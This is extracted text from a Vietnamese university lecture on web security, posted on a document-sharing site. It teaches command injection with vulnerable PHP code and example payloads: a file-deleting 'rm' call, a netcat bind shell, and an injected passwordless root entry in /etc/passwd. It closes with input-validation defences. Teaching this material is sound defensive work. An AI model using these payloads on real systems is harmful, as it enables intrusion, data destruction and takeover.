Bài giảng An ninh mạng: Chương 8 - Bùi Trọng Tùng
Thông tin tài liệu:
Nội dung trích xuất từ tài liệu:
Bài giảng An ninh mạng: Chương 8 - Bùi Trọng Tùng BÀI 8. AN TOÀN AN NINH DỊCH VỤ WEB(2) COMMAND INJECTION + SQL INJECTION + XSS Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 11 1. TẤN CÔNG COMMAND INJECTION Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 22 1 Command Injection • Lợi dụng lỗ hổng không kiểm soát giá trị các đối số khi thực thi kịch bản (servlet) trên web server Không phân biệt được dữ liệu và mã nguồn trong đối số • Ví dụ: Website chứa servlet cung cấp tính năng tính toán biểu thức bất kỳ qua hàm eval() … http://site.com/calc.php $in = $_GET[‘exp]; Nội dung biểu thức được truyền eval($ans = . $in . ;); qua đối số exp. Ví dụ: … http://site.com/calc.php?exp=1+1 • Servlet thực thi như thế nào nếu truyền đối số như sau: http://site.com/calc.php?exp=“10 ; system(‘rm *.*’)” 33 Command Injection – Ví dụ khác 1. http://site.com/exec/ Client Server 2. Send page Ping for FREE Enter an IP address below: Ô nhập dữ liệu Command Injection – Ví dụ khác Client Server Send output … $t = $_REQUEST[‘ip]; $o = shell_exec(‘ping –C 3’ . $t); echo $o … Ping for FREE PHP exec program Enter an IP address below: Command Injection – Ví dụ khác 127.0.0.1;ls Client Server 2. Send page … $t = $_REQUEST[‘ip]; $o = shell_exec(‘ping –C 3’ . $t); echo $o … PHP exec program 77 Command Injection – Ví dụ khác • Thực thi shell ip=127.0.0.1+%26+netcat+-v+- e+/bin/bash+-l+-p+31337&submit=submit netcat –v –e ‘/bin/bash’ –l –p 31337 88 4 Command Injection – Ví dụ khác • Mã PHP để gửi email: $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”) • Chèn mã thực thi khi truyền giá trị cho đối số: http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls • Hoặc http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh>>/etc/passwd; ls 99 Phòng chống • Kiểm duyệt (Input Validation): Kiểm tra, chỉ chấp nhận giá trị chứa các ký tự hợp lệ Ký tự nào là hợp lệ?Phụ thuộc ngữ cảnh • Làm sạch(Input Sanitization): Thay thế các ký tự không hợp lệ Thêm dấu ‘’ đặt trước các ký tự đặc biệt Xóa các ký tự đặc biệt Có thể vượt qua như thế nào • Cách tốt hơn: không cho các hàm có quá nhiều quyền thực thi nếu có thể và phân tách tham số cần thiết từ giá trị đầu vào 1010 5 Phòng chống – Ví dụ // Get input $target = $_REQUEST[ ip ]; // Split the IP into 4 octects $octet = explode( ., $target ); // Check IF each octet is an integer if((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric((octet[2])) && (is_numeric( $octet[3])) && (sizeof($octet) == 4)) { // If all 4 octets are ints put the IP back together. $target = $octet[0] . . . $octet[1] . . . $octet[2] . . . $octet[3]; //call shell_exec() } else { // Ops. Let the user name theres a mistake ...
Tìm kiếm theo từ khóa liên quan:
Bài giảng An ninh mạng An ninh mạng An toàn an ninh dịch vụ Web Tấn công Command Injection Tấn công SQL Injection Tấn công dạng Cross Site ScriptingTài liệu cùng danh mục:
-
173 trang 415 3 0
-
41 trang 330 4 0
-
78 trang 307 1 0
-
160 trang 263 2 0
-
Chuẩn bị cho hệ thống mạng công ty
2 trang 257 0 0 -
Tập bài giảng Thiết kế mạng - ThS. Trần Văn Long, ThS. Trần Đình Tùng (Biên soạn)
222 trang 257 0 0 -
74 trang 241 4 0
-
Ngân hàng câu hỏi trắc nghiệm môn mạng máy tính
99 trang 235 1 0 -
60 trang 232 1 0
-
Tập bài giảng Xử lý tín hiệu số
262 trang 231 0 0
Tài liệu mới:
-
Khảo sát tình trạng dinh dưỡng trước mổ ở người bệnh ung thư đại trực tràng
9 trang 21 0 0 -
94 trang 19 0 0
-
Tham vấn Thanh thiếu niên - ĐH Mở Bán công TP Hồ Chí Minh
276 trang 20 0 0 -
Kết hợp luân phiên sóng T và biến thiên nhịp tim trong tiên lượng bệnh nhân suy tim
10 trang 19 0 0 -
Đề thi giữa học kì 1 môn Ngữ văn lớp 9 năm 2024-2025 có đáp án - Trường THCS Nguyễn Trãi, Thanh Khê
14 trang 21 0 0 -
Đánh giá hiệu quả giải pháp phát triển thể chất cho sinh viên Trường Đại học Kiến trúc Hà Nội
8 trang 20 0 0 -
Tỉ lệ và các yếu tố liên quan đoạn chi dưới ở bệnh nhân đái tháo đường có loét chân
11 trang 20 0 0 -
39 trang 19 0 0
-
Đề thi học kì 1 môn Tiếng Anh lớp 6 năm 2024-2025 có đáp án - Trường TH&THCS Quang Trung, Hội An
6 trang 19 1 0 -
Tôm ram lá chanh vừa nhanh vừa dễRất dễ làm, nhanh gọn mà lại ngon. Nhà mình
7 trang 19 0 0